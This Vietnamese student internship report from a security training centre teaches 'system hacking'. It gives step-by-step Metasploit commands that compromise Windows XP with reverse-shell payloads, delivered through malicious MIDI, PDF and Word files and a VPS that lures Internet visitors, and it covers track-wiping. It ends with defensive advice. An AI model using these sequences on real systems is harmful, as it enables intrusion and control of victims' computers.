SlideShare a Scribd company logo
1 of 21
TRUNG TÂM ĐÀO TẠO QUẢN TRỊ MẠNG
VÀ AN NINH MẠNG QUỐC TẾ ATHENA
BÁO CÁO THỰC TẬP DOANH NGHIỆP
SYSTEM HACKING
Giảng viên hướng dẫn: Võ Đỗ Thắng.
Sinh viên thực hiện: Vũ Quang Tuấn.
TP. Hồ Chí Minh, tháng 08 năm 2014
Trang 2
LỜI CẢM ƠN
Để thực hiện và hoàn thành đề tài này, trước hết tôi xin cảm ơn đến các thầy,
giảng viên hướng dẫn sinh viên thực tập tại Trung tâm đào tạo quản trị mạng và an
ninh mạng quốc tế ATHENA, đã tận tình chỉ bảo trong thời gian vừa qua.
Tôi cũng xin gửi lời cám ơn đến các anh chị, bạn bè đã truyền đạt kinh nghiệm
và tạo điều kiện cho tôi hoàn thành đề tài này.
Trong quá trình thực hiện đề tài không thể không có những sai sót, mong thầy
cô tại trung tâm ATHENA và các bạn thẳng thắn góp ý đề tôi rút kinh nghiệm trong
các công trình tìm hiểu, phát triển sau này.
Sinh viên
Vũ Quang Tuấn
Trang 3
MỤC LỤC
PHẦN 1: GIỚI THIỆU .............................................................................................................1
1.1 System Hacking và Tình hình an ninh mạng Việt Nam................................................................. 1
1.2 Các lỗ hổng thường khai thác trong hệ điều hành Windows.......................................................... 1
1.3 Quá trình tấn công vào một hệ thống............................................................................................. 2
PHẦN 2: SỬ DỤNG BACKTRACK ĐỂ KHAI THÁC XÂM NHẬP TRONG MẠNG
LAN.............................................................................................................................................4
2.1 Hệ điều hành Backtrack 5 R3......................................................................................................... 4
2.2 Phần mềm Metasploit..................................................................................................................... 6
2.2.1 Chọn module exploit............................................................................................................... 7
2.2.2 Cấu hình Module exploit......................................................................................................... 7
2.2.3 Verify options.......................................................................................................................... 7
2.2.4 Lựa chọn target........................................................................................................................ 7
2.2.5 Lựa chọn payload.................................................................................................................... 7
2.2.6 Thực thi exploit ....................................................................................................................... 7
2.3 Sơ đồ tổng quan hệ thống mạng LAN............................................................................................ 8
2.4 Xâm nhập và khai thác Windows XP............................................................................................. 9
2.4.1 Lỗ hổng: Ms12_004 ................................................................................................................ 9
2.4.2 Lỗ hổng: file PDF phiên bản adobe reader 9.2...................................................................... 10
2.4.3 Lỗ hổng: file WORD phiên bản word 2007.......................................................................... 11
PHẦN 3: XÂY DỰNG HONEYPOT KHAI THÁC XÂM NHẬP LỖ HỔNG TỪ XA
QUA MẠNG INTERNET.......................................................................................................12
3.1 Honeypot..................................................................................................................................... 12
3.2 Sơ đồ tổng quan sử dụng Honeypot để xâm nhập từ xa qua Internet................................... 12
3.3 Tấn công hệ điều hành Windows XP........................................................................................ 14
PHẦN 4: TỔNG KẾT .............................................................................................................17
DANH MỤC TÀI LIỆU THAM KHẢO ...............................................................................18
Trang 1
PHẦN 1: GIỚI THIỆU
1.1 System Hacking và Tình hình an ninh mạng Việt Nam
System hacking bao gồm những kỹ thuật lấy username, password dựa vào phần
mềm cài trên hệ thống hoặc tính dễ cài đặt và chạy các dịch vụ từ xa của hệ điều hành
Windows. Nâng quyền trong hệ thống, sử dụng keyloger để lấy thông tin, xóa những
log file hệ thống. Một khi đã xâm nhập vào hệ thống, Hacker có thể thực hiện mọi thứ
trên máy tính đó, gây ra những hậu quả vô cùng nghiêm trọng cho các cá nhân, tổ
chức.
1.2 Các lỗ hổng thường khai thác trong hệ điều hành Windows
Phần mềm máy tính ngày nay vô cùng phức tạp, bao gồm hàng ngàn dòng mã.
Phần mềm được viết ra bởi con người, nên cũng chẳng có gì lạ khi trong đó có chứa
những lỗi lập trình, được biết đến với tên gọi lỗ hổng. Những lỗ hổng này được Hacker
sử dụng để xâm nhập vào hệ thống, cũng như được tác giả của các đọan mã độc dùng
để khởi động chương trình của họ một cách tự động trên máy tính của bạn.
Hiện nay các lỗ hổng bảo mật được phát hiện càng nhiều trong các hệ điều hành,
các Web Server hay các phần mềm khác, ... Và các hãng sản xuất luôn cập nhật các lỗ
hổng và đưa ra các phiên bản mới sau khi đã vá lại các lỗ hổng của các phiên bản
trước. Do đó, người sử dụng phải luôn cập nhật thông tin và nâng cấp phiên bản cũ mà
mình đang sử dụng nếu không các Hacker sẽ lợi dụng điều này để tấn công vào hệ
thống. Thông thường, các forum của các hãng nổi tiếng luôn cập nhật các lỗ hổng bảo
mật và việc khai thác các lỗ hổng đó như thế nào thì tùy từng người.
Microsoft luôn có những cải tiến an ninh vượt trội qua mỗi phiên bản mới của
hệ điều hành Windows. Tuy nhiên, một sự thật là các mối đe dọa mạng vẫn đang ngày
càng phát triển nhanh hơn so với chu trình cập nhật và đổi mới hệ điều hành của
Microsoft.
Tội phạm mạng thường sử dụng các lỗ hổng trong các mã chương trình để truy
cập vào các dữ liệu và tài nguyên trên máy tính bị lỗi bảo mật. Các chương trình độc
Trang 2
hại được thiết kế đặc biệt để khai thác các lỗ hổng này, được gọi là kỹ thuật exploit,
đang ngày càng phổ biến nhanh chóng.
Những sản phẩm của Microsoft thường gặp phải các lỗ hổng bảo mật như HĐH
Windows, Internet Explorer, Windows Server, Microsoft Exchange và .NetFramework.
1.3 Quá trình tấn công vào một hệ thống
Trước tiên ta sẽ tìm hiểu tổng quát một quá trình tấn công hệ thống. Mục tiêu
phía trước của chúng ta là một hệ thống máy tính. Các bước để tấn công, đánh sập nó,
có thể được liệt kê như hình vẽ bên cạnh. Nó gồm 6 công đoạn như sau:
(hình 1.1: Quá trình tấn công vào một hệ thống)
 Enumerate (liệt kê): Trích ra tất cả những thông tin có thể về user trong hệ
thống. Sử dụng phương pháp thăm dò SNMP để có được những thông tin hữu
ích, chính xác hơn.
Trang 3
 Crack: Bước này yêu cầu Hacker bẻ khóa mật khẩu đăng nhập của user. Hoặc
bằng một cách nào khác, mục tiêu phải đạt tới là quyền truy cập vào hệ thống.
 Escalste (leo thang): Chuyển đổi giới hạn truy cập từ user bình thường lên
admin hoặc user có quyền cao hơn đủ cho chúng ta tấn công.
 Execute (thực thi): Thực thi ứng dụng trên hệ thống máy đích. Chuẩn bị trước
malware, keylogger, rootkit…để chạy nó trên máy tính tấn công.
 Hide (ẩn file): Những file thực thi, file soucecode chạy chương trình… Cần phải
được làm ẩn đi, tránh bị mục tiêu phát hiện tiêu diệt.
 Tracks (dấu vết): Những thông tin có liên quan đến bạn cần phải bị xóa sạch,
không để lại bất cứ thứ gì. Nếu không khả năng bạn bị phát hiện là kẻ đột nhập
là rất cao.
Tóm lại, quá trình tấn công hệ thống (System hacking) là bước tiếp theo sau quá
trình khảo sát, thu thập thông tin của mục tiêu cần tấn công bằng những kỹ thuật như
Footprinting, Social engineering, Enumeration, Google Hacking… đã được áp dụng
cho mục đích truy tìm thông tin.
Khi hệ thống mục tiêu đã được xác định, chúng ta bắt đầu đi vào quá trình tấn
công hệ thống thật sự. Ta phải tiến hành những kỹ thuật khác nhau để làm sao vào
được trong hệ thống đó, thực hiện những việc mà mình mong muốn, như xóa dữ liệu,
chạy chương trình trojan, keylogger…
Trang 4
PHẦN 2: SỬ DỤNG BACKTRACK ĐỂ KHAI THÁC XÂM
NHẬP TRONG MẠNG LAN
2.1 Hệ điều hành Backtrack 5 R3
Backtrack là một bản phân phối dạng Live DVD của Linux, được phát triển để
thử nghiệm xâm nhập. Backtrack là sự hợp nhất giữa 3 bản phân phối khác nhau của
Linux về thâm nhập thử nghiệm IWHAX, WHOPPIX, và Auditor. Trong phiên bản
hiện tại của nó (5), Backtrack được dựa trên phiên bản phân phối Linux Ubuntu 11.10.
Công cụ Backtrack đã có lịch sử phát triển khá lâu qua nhiều bản linux khác
nhau. Phiên bản hiện nay sử dụng bản phân phối Slackware linux (Tomas
M.(www.slax.org)). Backtrack liên tục cập nhật các công cụ, drivers,... Hiện tại
Backtrack có trên 300 công cụ phục vụ cho việc nghiên cứu bảo mật. Backtrack là sự
kết hợp giữa 2 bộ công cụ kiểm thử bảo mật rất nổi tiếng là Whax và Auditor.
Backtrack 5 chứa một số công cụ có thể được sử dụng trong quá trình thử
nghiệm thâm nhập của chúng ta. Các công cụ kiểm tra thâm nhập trong Backtrack 5 có
thể được phân loại như sau:
 Information gathering: loại này có chứa một số công cụ có thể được sử dụng để
có được thông tin liên quan đến một mục tiêu DNS, định tuyến, địa chỉ e-mail,
trang web, máy chủ mail, và như vậy. Thông tin này được thu thập từ các thông
tin có sẵn trên Internet, mà không cần chạm vào môi trường mục tiêu.
 Network mapping: loại này chứa các công cụ có thể được sử dụng để kiểm tra
các host đang tồn tại, thông tin về OS, ứng dụng được sử dụng bởi mục tiêu, và
cũng làm portscanning.
 Vulnerability identification: Trong thể loại này, chúng ta có thể tìm thấy các
công cụ để quét các lỗ hổng (tổng hợp) và trong các thiết bị Cisco. Nó cũng
chứa các công cụ để thực hiện và phân tích Server Message Block (SMB) và
Simple Network Management Protocol (SNMP).
Trang 5
 Web application analysis: loại này chứa các công cụ có thể được sử dụng trong
theo dõi, giám sát các ứng dụng web.
 Radio network analysis: Để kiểm tra mạng không dây, bluetooth và nhận dạng
tần số vô tuyến (RFID), chúng ta có thể sử dụng các công cụ trong thể loại này.
 Penetration: loại này chứa các công cụ có thể được sử dụng để khai thác các lỗ
hổng tìm thấy trong các máy tính mục tiêu.
 Privilege escalation: Sau khi khai thác các lỗ hổng và được truy cập vào các
máy tính mục tiêu, chúng ta có thể sử dụng các công cụ trong loại này để nâng
cao đặc quyền của chúng ta cho các đặc quyền cao nhất.
 Maintaining access: Công cụ trong loại này sẽ có thể giúp chúng ta trong việc
duy trì quyền truy cập vào các máy tính mục tiêu. Chúng ta có thể cần để có
được những đặc quyền cao nhất trước khi các chúng ta có thể cài đặt công cụ để
duy trì quyền truy cập.
 Voice Over IP (VOIP): Để phân tích VOIP chúng ta có thể sử dụng các công cụ
trong thể loại này.
 Digital forensics: Trong loại này, chúng ta có thể tìm thấy một số công cụ có thể
được sử dụng để làm phân tích kỹ thuật như có được hình ảnh đĩa cứng, cấu trúc
các tập tin, và phân tích hình ảnh đĩa cứng. Để sử dụng các công cụ cung cấp
trong thể loại này, chúng ta có thể chọn Start Backtrack Forensics trong trình
đơn khởi động. Đôi khi sẽ đòi hỏi chúng ta phải gắn kết nội bộ đĩa cứng và các
tập tin trao đổi trong chế độ chỉ đọc để bảo tồn tính toàn vẹn.
 Reverse engineering: Thể loại này chứa các công cụ có thể được sử dụng để gỡ
rối chương trình một hoặc tháo rời một tập tin thực thi.
Chúng ta có thể tải bản Backtrack 5 tại địa chỉ: www.backtracklinux.org/downloads/
Trang 6
2.2 Phần mềm Metasploit
Metasploit là một dự án bảo mật máy tính cung cấp các thông tin về vấn đề lỗ
hổng bảo mật cũng như giúp đỡ về kiểm tra thăm nhập và phát triển hệ thống phát hiện
tấn công mạng. Metasploit Framework là một môi trường dùng để kiểm tra, tấn công
và khai thác lỗi của các service. Metasploit được xây dựng từ ngôn ngữ hướng đối
tượng Perl, với những components được viết bằng C, assembler, và Python. Metasploit
có thể chạy trên hầu hết các hệ điều hành: Linux, Windows, MacOS. Chúng ta có thể
download chương trình tại www.metasploit.com.
Metasploit hỗ trợ nhiều giao diện với người dùng:
 Console interface: dùng lệnh msfconsole. Msfconsole interface sử dụng các
dòng lệnh để cấu hình, kiểm tra nên nhanh hơn và mềm dẻo hơn.
 Web interface: dùng msfweb, giao tiếp với người dùng thông qua giao diện
Web.
 Command line interface: dùng msfcli.
Metasploit Enviroment:
Global Enviroment: Được thực thi thông qua 2 câu lệnh setg và unsetg, những
options được gán ở đây sẽ mang tính toàn cục, được đưa vào tất cả các module
exploits.
Temporary Enviroment: Được thực thi thông qua 2 câu lệnh set và unset,
enviroment này chỉ được đưa vào module exploit đang load hiện tại, không ảnh hưởng
đến các module exploit khác Chúng có thể lưu lại enviroment mình đã cấu hình thông
qua lệnh save. Môi trường đó sẽ được lưu trong ./msf/config và sẽ được load trở lại khi
user interface được thực hiện.
Sử dụng Metasploit Framework:
Trang 7
2.2.1 Chọn module exploit: Lựa chọn chương trình, dịch vụ lỗi mà Metasploit có
hỗ trợ để khai thác
 Show exploits: xem các module exploit mà framework có hỗ trợ.
 Use exploit_name: chọn module exploit.
 Info exploit_name: xem thông tin về module exploit.
Chúng ta nên cập nhật thường xuyên các lỗi dịch vụ cũng như các modul trên
www.metasploit.com hoặc qua lệnh msfupdate hoặc svnupdat/opt/metasploit/msf3/.
2.2.2 Cấu hình Module exploit đã chọn:
 show options: Xác định những options nào cần cấu hình.
 set: cấu hình cho những option của module đó.
Một vài module còn có những advanced options, chúng ta có thể xem bằng cách
gõ dòng lệnh show advanceds.
2.2.3 Verify những options vừa cấu hình:
 check: kiểm tra xem những option đã được set chính xác chưa.
2.2.4 Lựa chọn target:
 show targets: những target được cung cấp bởi module đó.
 set: xác định target nào.
2.2.5 Lựa chọn payload:
 show payloads: liệt kê ra những payload của module exploit hiện tại.
 info payload_name: xem thông tin chi tiết về payload đó.
 set payload payload_name: xác định payload module name. Sau khi lựa chọn
payload nào, dùng lệnh show options để xem những options của payload đó.
 show advanced: xem những advanced options của payload đó.
2.2.6 Thực thi exploit:
exploit: lệnh dùng để thực thi payload code. Payload sau đó sẽ cung cấp cho
chúng ta những thông tin về hệ thống được khai thác.
Trang 8
2.3 Sơ đồ tổng quan hệ thống mạng LAN
(Hình 2.1: Sơ đồ tổng quan hệ thống mạng LAN)
Trong một mạng LAN nội bộ, các máy tính thường kết nối với nhau với khoảng
cách vật lý gần như trong một phòng, một tầng, một tòa nhà, công ty, … Các máy tính
trong mạng LAN có thể chia sẻ tài nguyên với nhau, mà điển hình là chia sẻ tập tin,
máy in, máy quét và một số thiết bị khác. Khi một máy tính ở trong mạng LAN, nó có
thể sử dụng các chương trình, phần mềm quét hệ thống mạng để biết được địa chỉ IP
các host có trong mạng.
Nmap (Network Mapper) là một tiện ích nguồn mở miễn phí cho phát hiện
mạng và kiểm toán an ninh. Nmap và Zenmap (Công cụ hỗ trợ đồ họa của nmap) được
cài đặt sẵn trong BackTrack, sử dụng các gói tin IP giúp xác định host nào có sẵn trên
mạng, các dịch vụ (tên ứng dụng và phiên bản) mà host đó đang cung cấp, hệ điều
hành gì (và các phiên bản hệ điều hành) mà họ đang chạy, loại bộ lọc gói tin hoặc
tường lửa nào đang sử dụng, và nhiều đặc điểm khác. Nmap chạy được trên tất cả các
hệ điều hành, và các gói nhị phân chính thức có sẵn cho Linux, Windows, và Mac
OSX.
Trang 9
Sau khi xác định được các host có trong mạng, ta có thể sử dụng các công cụ
quét lỗi hệ thống để xác định lỗ hổng của hệ thống muốn xâm nhập, từ đó khai thác
truy cập vào hệ thống. Một trong số các công cụ quét lỗi này là Nessus, download tại
địa chỉ http://www.nessus.org/.
Một khi đã xâm nhập thành công và chiếm được toàn quyền điều khiển hệ
thống, Hacker có thể thực hiện mọi việc trên máy nạn nhân như down/upload files,
thay đổi cấu trúc hệ thống, thực thi chương trình, đánh cắp mật khẩu, cài trojan/
backdoor, …
2.4 Xâm nhập và khai thác Windows XP
2.4.1 Lỗ hổng sử dụng: Ms12_004
 Khởi động msfconsole tử cửa sổ terminal của BackTrack
 Khai báo lỗ hổng sử dụng và thiết đặt options:
o Search ms12_004
o use exploit/windows/browser/ms12_004_midi
o show options
o set SRVHOST 192.168.1.3
o set PAYLOAD windows/meterpreter/reverse_tcp
o set LHOST 192.168.1.3
o exploit
BackTrack sẽ tạo ra một link chứa mã độc (http://192.168.1.3:4444). Chỉ cần
nạn nhân nhấp chuột vào link trên thì BackTrack sẽ tự dộng gửi mã độc sang máy nạn
nhân và sau đó có thể xem thông tin, chiến quyền của máy nạn nhân đó.
Tiến hành khai thác máy nạn nhân có IP: 192.168.1.2 port 1078.
 sessions
 sessions –i 1
 getuid
 sysinfo
Trang 10
Hacked: khai thác thành công lỗi ms12_004 trên winXP SP2
Nạn nhân:
 Computer: nhanld
 Os: Windows XP (Build 2600. Service Pack 2).
 Architecture: x86.
 Systemlanguage: en US.
 Meterpreter: x86/win32
2.4.2 Lỗ hổng sử dụng: file PDF phiên bản adobe reader 9.2
 Khởi động msfconsole tử cửa sổ terminal của BackTrack.
 Khai báo lỗ hổng sử dụng và thiết đặt options:
o Search nojs
o use exploit/windows/fileformat/adobe_pdf_embedded_exe_nojs
o show options
o set FILENAME athenaHack.pdf
o set PAYLOAD windows/meterpreter/reverse_tcp
o set LHOST 192.168.1.3
o set LPORT 4444
o exploit
- Sau khi tiến hành xong các bước trên, backtrack sẽ tạo 1 file pdf có chứa mã
độc, file sẽ được lưu tại root./msf4/test.pdf
- Tiếp tục thực hiện các bước sau:
 Use multi/handler
 set PAYLOAD windows/meterpreter/reverse_tcp
 set LHOST 192.168.1.3
 exploit
- Tới đây chúng ta bắt đầu gửi file pdf vừa tạo cho máy nạn nhân, khi nạn nhân
mở file backtrack sẽ gửi mã độc và chiếm được quyền sử dụng máy nạn nhân.
Trang 11
2.4.3 Lỗ hổng sử dụng: file WORD phiên bản word 2007
 Khởi động msfconsole tử cửa sổ terminal của BackTrack.
 Khai báo lỗ hổng sử dụng và thiết đặt options:
o Search ms12_027
o use exploit/windows/fileformat/ms12_027_mscomctl_bof
o show options
o set FILENAME athenaHack.doc
o set PAYLOAD windows/meterpreter/reverse_tcp
o set LHOST 192.168.1.3
o exploit
- Sau khi tiến hành xong các bước trên, backtrack sẽ tạo 1 file word có chứa mã
độc, file sẽ được lưu tại root./msf4/test.doc
- Tiếp tục thực hiện các bước sau:
 Use exploit/multi/handler
 Set payload /windows/meterpreter/reverse_tcp
 Set lhost 192.168.1.3
 Exploit
- Sau khi thực hiện các bước trên, chúng ta bắt đầu gửi file word qua cho máy nạn
nhân, khi nạn nhân mở file word backtrack sẽ tự động gửi mã độc qua và chúng
ta có thể chiếm quyền sử dụng máy nạn nhân
Trang 12
PHẦN 3: XÂY DỰNG HONEYPOT KHAI THÁC XÂM NHẬP
LỖ HỔNG TỪ XA QUA MẠNG INTERNET
3.1 Honeypot
Honeypot là một hệ thống tài nguyên thông tin được xây dựng với mục đích giả
dạng đánh lừa những kẻ sử dụng và xâm nhập không hợp pháp, thu hút sự chú ý của
chúng, ngăn không cho chúng tiếp xúc với hệ thống thật. Hệ thống tài nguyên thông tin
có nghĩa là Honeypot có thể giả dạng bất cứ loại máy chủ tài nguyên nào như là Mail
Server, Domain Name Server, Web Server… Honeypot sẽ trực tiếp tương tác với tin
tặc và tìm cách khai thác thông tin về tin tặc như hình thức tấn công, công cụ tấn công
hay cách thức tiến hành thay vì bị tấn công. Với mục tiêu xây dựng Honeypot để xâm
nhập vào lỗ hổng hệ thống máy tính qua Internet, Hacker có thể sử dụng Máy chủ ảo
(VPS) và cài đặt Honeypot để giả dạng là một Web server bình thường, từ đó đánh lừa
máy nạn nhân khi một máy tính bất kỳ có kết nối Internet truy cập vào địa chỉ mà VPS
cung cấp.
3.2 Sơ đồ tổng quan sử dụng Honeypot để xâm nhập từ xa qua Internet
(hình 3.1: sơ đồ tổng quan sử dụng Honepot)
Trang 13
Chúng ta – đóng vài trò là Attacker, cần chuẩn bị:
- VPS có địa chỉ IP public, cài đặt sẵn công cụ Metasploit đóng vai trò là một
Honeypot trên mạng.
(hình 3.2: Công cụ metasploit)
Trang 14
3.3 Tấn công hệ điều hành Windows XP
Lỗ hổng khai thác: Ms12_063
( Điều kiện: Windows XP without service pack, trình duyệt Internet Explorer )
- Tại cửa sổ Metasploit console, ta sử dụng các lệnh sau để tạo một server lắng nghe
các sự truy cập từ bên ngoài
 use exploit/windows/browser/ie_execcommand_uaf (Sử dụng lỗi Ms12_063)
 show options (Xem thông tin thiết đặt)
 set srvhost 14.0.21.49 (VPS được đăng ký ip 14.0.21.49)
 set lhost 14.0.21.49
 set uripath athenaHack
 set srvport 80 (VPS như một Web Server, tránh sự nghi ngờ của người dùng)
 set payload windows/meterpreter/reverse_tcp
 exploit
Trang 15
- Công việc tiếp theo là chờ cho máy mục tiêu truy cập vào địa chỉ:
http:// 14.0.21.49 /athenaHack
(hình 3.4 gửi Trojan về máy mục tiêu)
Trang 16
- Bây giờ ta có thể tiến hành khai thác tại máy mục tiêu:
- Tạo thư mục mới trong máy nạn nhân
md Hacker
- Upload file tới máy nạn nhận
upload C:/Hacker.txt C:/Hacker
b) Phương pháp khắc phục lỗ hổng
Để khắc phục lỗ hổng, máy tính người dùng cần cập nhật các bản Service pack
(1 hoặc 2 hoặc 3) của Microsoft dành cho Windows XP.
Trang 17
PHẦN 4: TỔNG KẾT
Với những kiểu tấn công hệ thống dựa trên những lỗi sai sót trong quá trình sử
dụng máy tính hoặc các lỗi về bảo mật vật lý, có một số phương pháp nhằm giảm thiểu
và phòng tránh việc Hacker đánh cắp Mật khẩu như sau:
Mật khẩu phải được đặt nhiều hơn 8 ký tự và phải là tổng hợp giữa chữ hoa, chữ
thường, số và ký tự đặc biệt để các chương trình khó dò ra.
Cấu hình trong registry cho mật khẩu trong hệ thống windows chỉ được băm và
lưu dưới dạng NTLM để các chương trình khó khăn để dò tim. Bật lên 1 ở khóa:
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsaNoLMHash
Người dùng admin nên xóa tập tin sam trong thư mục Windows/repair sau mỗi
lần backup dữ liệu bằng rdisk.
Trong quá trình sử dụng máy tính để truy cập Internet, người dùng cần lưu ý:
- Không mở tập tin đính kèm thư điện tử có nguồn gốc không rõ ràng hoặc
không tin cậy.
- Chắc chắn rằng bạn có và đã bật hệ thống tường lửa cho hệ thống của mình.
- Đảm bảo Windows của bạn được cập nhật thường xuyên, phần mềm bảo mật
của bạn có chức năng cập nhật "live" (tự động cập nhật trực tuyến).
Microsoft đã xây dựng một loạt các công cụ trong Windows để các nhà quản trị cũng
như người dùng có kinh nghiệm có thể phân tích chiếc máy tính của mình xem liệu nó
có đang bị xâm phạm hay không. Một khi nghi ngờ máy tính của mình bị xâm nhập,
người dùng có thể sử dụng các công cụ này để tự kiểm tra máy tính của mình khi có
những biểu hiện đáng ngờ: WMIC, Lệnh net, Openfiles, Netstat, Find.
Trang 18
DANH MỤC TÀI LIỆU THAM KHẢO
1. Nguyễn Sơn Khê, Đỗ Tấn Phát, Nguyễn Cao Thắng, Athena-Su dung
BackTrack 5 khai thác lỗ hổng mạng.

More Related Content

What's hot

Báo cáo thực tập - Lần 1 - Hoàng Thanh Quý
Báo cáo thực tập - Lần 1 - Hoàng Thanh QuýBáo cáo thực tập - Lần 1 - Hoàng Thanh Quý
Báo cáo thực tập - Lần 1 - Hoàng Thanh Quý
Quý Đồng Nast
 
Tổng kết Báo cáo thực tập Athena - Hoàng Thanh Quý
Tổng kết Báo cáo thực tập Athena - Hoàng Thanh QuýTổng kết Báo cáo thực tập Athena - Hoàng Thanh Quý
Tổng kết Báo cáo thực tập Athena - Hoàng Thanh Quý
Quý Đồng Nast
 
SYSTEM HACKING - TUẦN 2
SYSTEM HACKING - TUẦN 2SYSTEM HACKING - TUẦN 2
SYSTEM HACKING - TUẦN 2
Con Ranh
 
Báo cáo cuối kì system hacking-Trần Nguyễn Lộc
Báo cáo cuối kì system hacking-Trần Nguyễn LộcBáo cáo cuối kì system hacking-Trần Nguyễn Lộc
Báo cáo cuối kì system hacking-Trần Nguyễn Lộc
Loc Tran
 

What's hot (19)

Báo cáo thực tập - Lần 1 - Hoàng Thanh Quý
Báo cáo thực tập - Lần 1 - Hoàng Thanh QuýBáo cáo thực tập - Lần 1 - Hoàng Thanh Quý
Báo cáo thực tập - Lần 1 - Hoàng Thanh Quý
 
Tổng kết Báo cáo thực tập Athena - Hoàng Thanh Quý
Tổng kết Báo cáo thực tập Athena - Hoàng Thanh QuýTổng kết Báo cáo thực tập Athena - Hoàng Thanh Quý
Tổng kết Báo cáo thực tập Athena - Hoàng Thanh Quý
 
SYSTEM HACKING - TUẦN 2
SYSTEM HACKING - TUẦN 2SYSTEM HACKING - TUẦN 2
SYSTEM HACKING - TUẦN 2
 
Báo cáo cuối kì system hacking-Trần Nguyễn Lộc
Báo cáo cuối kì system hacking-Trần Nguyễn LộcBáo cáo cuối kì system hacking-Trần Nguyễn Lộc
Báo cáo cuối kì system hacking-Trần Nguyễn Lộc
 
Chương 6 Bảo mật - Giáo trình FPT
Chương 6 Bảo mật - Giáo trình FPTChương 6 Bảo mật - Giáo trình FPT
Chương 6 Bảo mật - Giáo trình FPT
 
Bài 2: Phần mềm độc hại và các dạng tấn công sử dụng kỹ nghệ xã hội - Giáo tr...
Bài 2: Phần mềm độc hại và các dạng tấn công sử dụng kỹ nghệ xã hội - Giáo tr...Bài 2: Phần mềm độc hại và các dạng tấn công sử dụng kỹ nghệ xã hội - Giáo tr...
Bài 2: Phần mềm độc hại và các dạng tấn công sử dụng kỹ nghệ xã hội - Giáo tr...
 
1
11
1
 
Kali linux
Kali linuxKali linux
Kali linux
 
Windows Malware Forensic - rà soát gỡ bỏ mã độc
Windows Malware Forensic - rà soát gỡ bỏ mã độcWindows Malware Forensic - rà soát gỡ bỏ mã độc
Windows Malware Forensic - rà soát gỡ bỏ mã độc
 
Dự Đoán Lỗ Hổng Phần Mềm Dựa Trên Kỹ Thuật Khai Phá Dữ Liệu
Dự Đoán Lỗ Hổng Phần Mềm Dựa Trên Kỹ Thuật Khai Phá Dữ Liệu Dự Đoán Lỗ Hổng Phần Mềm Dựa Trên Kỹ Thuật Khai Phá Dữ Liệu
Dự Đoán Lỗ Hổng Phần Mềm Dựa Trên Kỹ Thuật Khai Phá Dữ Liệu
 
BÁO CÁO THỰC TẬP ATHENA - BÁO CÁO GIỮA KỲ
BÁO CÁO THỰC TẬP ATHENA - BÁO CÁO GIỮA KỲBÁO CÁO THỰC TẬP ATHENA - BÁO CÁO GIỮA KỲ
BÁO CÁO THỰC TẬP ATHENA - BÁO CÁO GIỮA KỲ
 
System hacking_Athena
System hacking_AthenaSystem hacking_Athena
System hacking_Athena
 
System Hacking
System HackingSystem Hacking
System Hacking
 
Chương 8_Bảo mật và an ninh mạng
Chương 8_Bảo mật và an ninh mạngChương 8_Bảo mật và an ninh mạng
Chương 8_Bảo mật và an ninh mạng
 
BÁO CÁO THỰC TẬP - GIỮA KỲ
BÁO CÁO THỰC TẬP - GIỮA KỲBÁO CÁO THỰC TẬP - GIỮA KỲ
BÁO CÁO THỰC TẬP - GIỮA KỲ
 
E Lib&Learning
E Lib&LearningE Lib&Learning
E Lib&Learning
 
Bài 3: Tấn công vào ứng dụng và mạng, đánh giá khả năng thiệt hại và làm giảm...
Bài 3: Tấn công vào ứng dụng và mạng, đánh giá khả năng thiệt hại và làm giảm...Bài 3: Tấn công vào ứng dụng và mạng, đánh giá khả năng thiệt hại và làm giảm...
Bài 3: Tấn công vào ứng dụng và mạng, đánh giá khả năng thiệt hại và làm giảm...
 
BÁO CÁO THỰC TẬP ATHENA - TUẦN 1
BÁO CÁO THỰC TẬP ATHENA - TUẦN 1BÁO CÁO THỰC TẬP ATHENA - TUẦN 1
BÁO CÁO THỰC TẬP ATHENA - TUẦN 1
 
Canh bao hinh thuc lay nhiem ransomware
Canh bao hinh thuc lay nhiem ransomwareCanh bao hinh thuc lay nhiem ransomware
Canh bao hinh thuc lay nhiem ransomware
 

Similar to Tuan vq bao cao thuc tap_ system hacking

Báo Cáo thực tập _ system hacking
Báo Cáo thực tập _ system hackingBáo Cáo thực tập _ system hacking
Báo Cáo thực tập _ system hacking
Anhh Hữu
 
CEHv9_Finish 01 - Ethical Hacking.pdf
CEHv9_Finish 01 - Ethical Hacking.pdfCEHv9_Finish 01 - Ethical Hacking.pdf
CEHv9_Finish 01 - Ethical Hacking.pdf
PeterTh3
 
Tai lieu huong_dan_su_dung_backtrack_5_2524
Tai lieu huong_dan_su_dung_backtrack_5_2524Tai lieu huong_dan_su_dung_backtrack_5_2524
Tai lieu huong_dan_su_dung_backtrack_5_2524
Ngô Đăng Tân
 
su-dung-metasploit-trong-danh-gia-an-toan-he-thong-thong-tin-1cb57d7b6e7b09e2...
su-dung-metasploit-trong-danh-gia-an-toan-he-thong-thong-tin-1cb57d7b6e7b09e2...su-dung-metasploit-trong-danh-gia-an-toan-he-thong-thong-tin-1cb57d7b6e7b09e2...
su-dung-metasploit-trong-danh-gia-an-toan-he-thong-thong-tin-1cb57d7b6e7b09e2...
ssuser8835db1
 
Security Bootcamp 2013 - Tấn công bằng mã độc - Trương Minh Nhật Quang
Security Bootcamp 2013 -  Tấn công bằng mã độc - Trương Minh Nhật QuangSecurity Bootcamp 2013 -  Tấn công bằng mã độc - Trương Minh Nhật Quang
Security Bootcamp 2013 - Tấn công bằng mã độc - Trương Minh Nhật Quang
Security Bootcamp
 

Similar to Tuan vq bao cao thuc tap_ system hacking (20)

SYSTEM HACKING - TUẦN 1
SYSTEM HACKING - TUẦN 1SYSTEM HACKING - TUẦN 1
SYSTEM HACKING - TUẦN 1
 
Dự Đoán Lỗ Hổng Phần Mềm Dựa Trên Kỹ Thuật Khai Phá Dữ Liệu _08300812092019
Dự Đoán Lỗ Hổng Phần Mềm Dựa Trên Kỹ Thuật Khai Phá Dữ Liệu _08300812092019Dự Đoán Lỗ Hổng Phần Mềm Dựa Trên Kỹ Thuật Khai Phá Dữ Liệu _08300812092019
Dự Đoán Lỗ Hổng Phần Mềm Dựa Trên Kỹ Thuật Khai Phá Dữ Liệu _08300812092019
 
Report athena week 1
Report athena week 1Report athena week 1
Report athena week 1
 
Bao cao thuc tap nguyen hoai huy
Bao cao thuc tap   nguyen hoai huyBao cao thuc tap   nguyen hoai huy
Bao cao thuc tap nguyen hoai huy
 
Báo cáo thực tập cuối kỳ
Báo cáo thực tập cuối kỳBáo cáo thực tập cuối kỳ
Báo cáo thực tập cuối kỳ
 
Rà soát Malware bằng SysInternal Suite
Rà soát Malware bằng SysInternal SuiteRà soát Malware bằng SysInternal Suite
